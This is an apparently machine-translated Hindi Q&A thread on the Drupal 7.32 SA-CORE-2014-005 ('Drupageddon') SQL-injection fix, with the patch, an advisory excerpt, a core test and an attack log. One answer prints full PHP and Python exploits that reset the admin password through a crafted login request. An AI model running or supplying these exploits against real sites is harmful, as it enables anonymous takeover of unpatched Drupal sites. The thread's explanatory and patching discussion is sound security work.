SA-CORE-2014-005 (Drupal 7.32) के लिए किस तरह के हमलों को रोकता है?


33

पर पढ़ना https://www.drupal.org/node/2357241 और पर तकनीकी जानकारी https://www.drupal.org/SA-CORE-2014-005 वास्तविक पैच जो केवल है के रूप में, साथ ही:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

मैं सोच रहा हूं कि इस तरह के अनुरोध का क्या फायदा हो सकता है?



क्या हम सीधे कोर में बदलाव कर सकते हैं? database.incफ़ाइल?
हितेश

@ हितेश आप केवल database.incऊपर पैच से पैच कर सकते हैं (या हाथ से, यह एक छोटा बदलाव है)
चार्ली श्लिसेर

1
उन लोगों के लिए जो आश्चर्य नहीं करते कि क्या बग बग का फायदा उठाएगा, लेकिन वास्तव में बग क्या है, मैंने प्रोग्रामर को एक स्पष्टीकरण पोस्ट किया है ।
रोमनस्टैंड

उन्नयन के बाद भी कोई अभी भी .php फ़ाइलों को मेरी साइटों में रखने में सक्षम है। मैंने menu_router को भी जाँच लिया है - कुछ भी संदिग्ध नहीं है। मैंने साइट ऑडिट और ड्रुपालगैडडॉन भी चलाया है
AgA

जवाबों:


18

बग ढूंढने वाली कंपनी के पास सलाहकार 01/2014 पर कुछ उदाहरण हैं : Drupal - Pre Auth SQL Injection भेद्यता :

निकालें:

फ़ंक्शन मानता है कि यह एक ऐसी सरणी के साथ कहा जाता है जिसकी कोई कुंजी नहीं है। उदाहरण:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

जो इस SQL ​​स्टेटमेंट में परिणाम देता है

SELECT * from users where name IN (:name_0, :name_1)

मापदंडों के साथ name_0 = user1और name_1 = user2

समस्या तब होती है, यदि सरणी में कुंजियाँ हैं, जो पूर्णांक नहीं हैं। उदाहरण:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

इसका परिणाम एक शोषणकारी SQL क्वेरी में है:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

मापदंडों के साथ name_test = user2:।

चूंकि द्रुपाल पीडीओ का उपयोग करता है, इसलिए बहु-प्रश्नों की अनुमति है। तो इस SQL ​​इंजेक्शन का उपयोग डेटाबेस में मनमाना डेटा डालने, मौजूदा डेटा को डंप या संशोधित करने या पूरे डेटाबेस को छोड़ने के लिए किया जा सकता है।

डेटाबेस में मनमाने ढंग से डेटा डालने की संभावना के साथ एक हमलावर कॉलबैक के साथ Drupal सुविधाओं के माध्यम से किसी भी PHP कोड को निष्पादित कर सकता है।


साझा करने के लिए धन्यवाद, मैं इस विषय पर खोज करने से नहीं मिला। The Problem occurs, if the array has keys, which are no integers- यह और उदाहरण क्वेरी इसे समझने में काफी मददगार हैं।
चार्ली श्लिसेर

19

परीक्षण मॉड्यूल की जांच करके 7.32 के साथ चल रहा है । आप देख सकते हैं कि निम्न परीक्षण 7.32 में जोड़ा गया था;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

यह कैसे हमले के शिल्प में कुछ और जानकारी देनी चाहिए।

अवधारणा के सबूत चूंकि पर्याप्त समय से अधिक समय बीत चुका है और जंगली में PoC के बहुत सारे हैं।

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

पोक # 2 पायथन - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

यहाँ एक ब्लॉग है जो एक अच्छा ब्रेकडाउन करता है: http://www.volexity.com/blog/?p=83


वह POC काम नहीं करता है ....
काइल ब्राउनिंग

क्या आप एक POC पोस्ट कर सकते हैं जिसके साथ एक हैकर डेटाबेस_c में array_values ​​($ डेटा) के साथ $ डेटा को बदल सकता है?
हंस रोसेल

मैं इस बात की पुष्टि कर सकता हूं कि वेनिला ड्रुपल साइट के साथ काम किया है। यह दुर्भाग्यपूर्ण है ...
आयुष

जैसा कि @greggles ने कहा कि यह थोड़ा जल्दी है, हर एक को अभी तक ज्ञापन नहीं मिला है। कृपया संयम बरतें।
184 में pal4life

प्रश्न - क्या इस हमले को काम बनाने के लिए "q?" की आवश्यकता है? मेरा सर्वर अनुरोधों को q (या Q या% -सुधार समतुल्य) के एक arg के साथ ड्रॉप करने के लिए होता है। बस उत्सुक। हमने कुछ समय पहले पैचअप किया था और घुसपैठ या किसी भी चीज के संकेत नहीं देखे थे, लेकिन मैं सोच रहा था कि क्या हमने q = अनुरोधों को खारिज कर दिया?
कासापो

16

बग ढूंढने वाले शोधकर्ताओं के पास अवधारणा का प्रमाण है। दूसरों ने अवधारणा के प्रमाण भी विकसित किए हैं। हालांकि, वे उद्देश्यपूर्ण रूप से उन्हें इस संभावना को कम करने की कोशिश करने के लिए पोस्ट नहीं कर रहे हैं कि यह व्यापक रूप से शोषित हो जाएगा। हमें उस शोध और संयम का सम्मान करना चाहिए न कि यहां उदाहरण प्रस्तुत करना चाहिए।

कुछ समय बीत जाने के बाद और साइटें अपग्रेड हो जाती हैं तो यह एक अकादमिक दृष्टिकोण से, प्रूफ-ऑफ-कॉन्सेप्ट अटैक कोड की समीक्षा करने के लिए बहुत दिलचस्प होगा। तब तक, यह एक अनावश्यक जोखिम है और ध्यान आकर्षित करना है।

SektioinEins सलाहकार में कोड का पूरी तरह से विकसित उदाहरण नहीं हैं कि इसका कैसे फायदा उठाया जाए। वे कमजोरी का विस्तार करते हैं, लेकिन वास्तव में इस मुद्दे का फायदा उठाने की पहचान नहीं करते हैं।


इस मुद्दे को जारी किए हुए अब कुछ सप्ताह हो गए हैं और सेक्टियोनइन्स ने अपने ब्लॉग पर कई प्रूफ-ऑफ-कॉन्सेप्ट पोस्ट किए हैं । ये कई अन्य सबूतों की अवधारणा की तुलना में काफी दिलचस्प हैं जिन्हें विकसित किया गया है क्योंकि वे अपनी गतिविधि के बहुत कम निशान छोड़ते हैं (उदाहरण के लिए menu_router तालिका में कुछ भी नहीं)।


4

मैं पुष्टि कर सकता हूं, कि यह भेद्यता प्रत्येक Drupal 7.31 और निम्न साइट के साथ काम करेगी, इससे कोई फर्क नहीं पड़ता कि कौन से मॉड्यूल सक्रिय हैं। प्रत्येक भेद्य रूप का उपयोग इस भेद्यता के दोहन के लिए किया जा सकता है।

शोषण काफी सरल है, इसलिए PoC पहले से ही जंगल में है। मैं स्वयं सर्वर पर हमला करने और क्लीन ड्रुपल इंस्टॉल में अनाम उपयोगकर्ता के रूप में उपयोगकर्ता पासवर्ड बदलने में सक्षम था, लेकिन संभावनाएं अनंत हैं।

इस बग को लगभग 1 साल पहले https://www.drupal.org/node/2146839 के माध्यम से जाना जाता था, लेकिन Drupal Core Security Team के किसी ने भी इसका जवाब नहीं दिया।


यह एक सुरक्षा मुद्दे के रूप में रिपोर्ट नहीं किया गया था, यह था?
अल्फ्रेड आर्मस्ट्रांग

इसे "# शुद्धता" के साथ टैग किया गया था, "प्रमुख" की प्राथमिकता, "समीक्षा की आवश्यकता" की स्थिति, और इसमें एक पैच शामिल था जो मूल रूप से 7.32 में पैच को प्राप्त करता है। शायद #"सुरक्षा" के सामने किसी को यह देखने से सीमित कर दिया कि अन्यथा होगा, या शायद कतार में बहुत सारे मुद्दे हैं। फिर भी आश्चर्य है कि किसी ने भी इसका जवाब नहीं दिया।
चार्ली श्लिसेर

3
इसे सुरक्षा समस्या के रूप में रिपोर्ट नहीं किया गया था, इसलिए शायद सुरक्षा टीम ने इसे नहीं देखा। लेकिन हाँ, लड़का अनिश्चित था यह एक सुरक्षा मुद्दा था, इसलिए शायद यही कारण है।
बेरेंड डी बोअर

2
यह "फ़ीचर अनुरोध" के रूप में बग के रूप में भी नहीं बताया गया था। ड्रुपल कोर के स्थिर संस्करण में नई सुविधाओं को स्वीकार नहीं किया जाता है, इसलिए यह सामान्य है कि इसे देखा नहीं जाता है। सुरक्षा के मुद्दों को कभी भी सार्वजनिक रूप से पोस्ट नहीं किया जाना चाहिए, एक स्पष्ट पृष्ठ है कि सुरक्षा टीम को Drupal सुरक्षा के मुद्दों की रिपोर्ट कैसे करें: drupal.org/node/101494
हंस रोसेल

4

मैंने सोचा कि यह कैसे शोषण किया जा सकता है और इसमें कितना समय और प्रयास लगेगा? इसलिए मैंने अपने लोकलहोस्ट पर पुराने ड्रुपल 7 संस्करण को स्थापित करने और इस बग को रिवर्स करने का फैसला किया। मुझे जो पता चला वह एक चौंकाने वाला बग था, जो किसी को भी HTML / SQL के बारे में बुनियादी जानकारी देता है जो आपकी Drupal साइट तक पूरी पहुंच रखता है।

मैं कोशिश कर के कम से कम 30mins में अनाम उपयोगकर्ता का उपयोग कर Drupal 7 में SQL इंजेक्शन निष्पादित करने में कामयाब रहा!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

नोट: यह अभी भी आपको लॉगिन करने की अनुमति नहीं देगा क्योंकि Drupal नमक के साथ SHA512 का उपयोग करता है ताकि वास्तव में लॉगिन करना संभव न हो। जानबूझकर मैंने यहां कोड नहीं डाला, लेकिन जाहिर है कि द्रुपाल के ज्ञान का कोई भी व्यक्ति जानता होगा कि इसे कैसे दूर किया जाए और क्वेरी का निर्माण किया जाए जिससे आपको पूरी पहुंच मिल सके!

यह एक सवाल खोलता है कि ड्रुपल और व्हाट्स इस तरह से कुछ के लिए कितना सुरक्षित है? जाहिरा तौर पर यह बग एक वर्ष ( https://www.drupal.org/node/2146839 ) से अधिक के लिए जाना जाता था , लेकिन Drupal.org पर किसी ने भी प्रतिक्रिया नहीं दी। अकस्मात या जानबूझकर? :)


1

यह एक SQL इंजेक्शन भेद्यता का एक फिक्स है जहां दुर्भावनापूर्ण SQL स्टेटमेंट्स निष्पादन के लिए एक प्रवेश क्षेत्र में डाले जाते हैं और उदाहरण के लिए डेटाबेस सामग्री को जारी कर सकते हैं। यह फिक्स विशेष रूप से जल्द से जल्द लागू करने के लिए महत्वपूर्ण है क्योंकि इस भेद्यता का फायदा अनाम उपयोगकर्ताओं द्वारा उठाया जा सकता है।

यदि आप तुरंत सुरक्षा टीम को अपडेट नहीं कर सकते हैं, तो आप इस पैच को लागू कर सकते हैं जो आपको पूर्ण अपग्रेड 1 करने तक समान सुरक्षा प्रदान करेगा । साथ ही सुरक्षा टीम ने इस मुद्दे से संबंधित कुछ FAQ तैयार किए हैं । अपनी साइट को रखरखाव मोड में रखने से मदद नहीं मिलेगी और अपडेट को लागू करने के बाद कैश को साफ करें या सुनिश्चित करें कि आप 7.32 का उपयोग कर रहे हैं।

इसके अलावा, आपको यह देखना चाहिए कि क्या आपकी साइट से समझौता नहीं किया गया है। कुछ साइटें पहले से ही समस्याओं की रिपोर्ट कर रही हैं। यहाँ यह एक ब्लॉग पोस्ट है जो सुझाव देता है कि आप कैसे Drupal 7.32 में अपडेट की जाँच कर सकते हैं पर्याप्त नहीं है, आपकी साइट पहले ही हैक हो सकती है

मैं 15 अक्टूबर को फिक्स लागू करता हूं और मेरी साइटों ने किसी को भेद्यता का फायदा उठाने की कोशिश करने की सूचना दी है

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.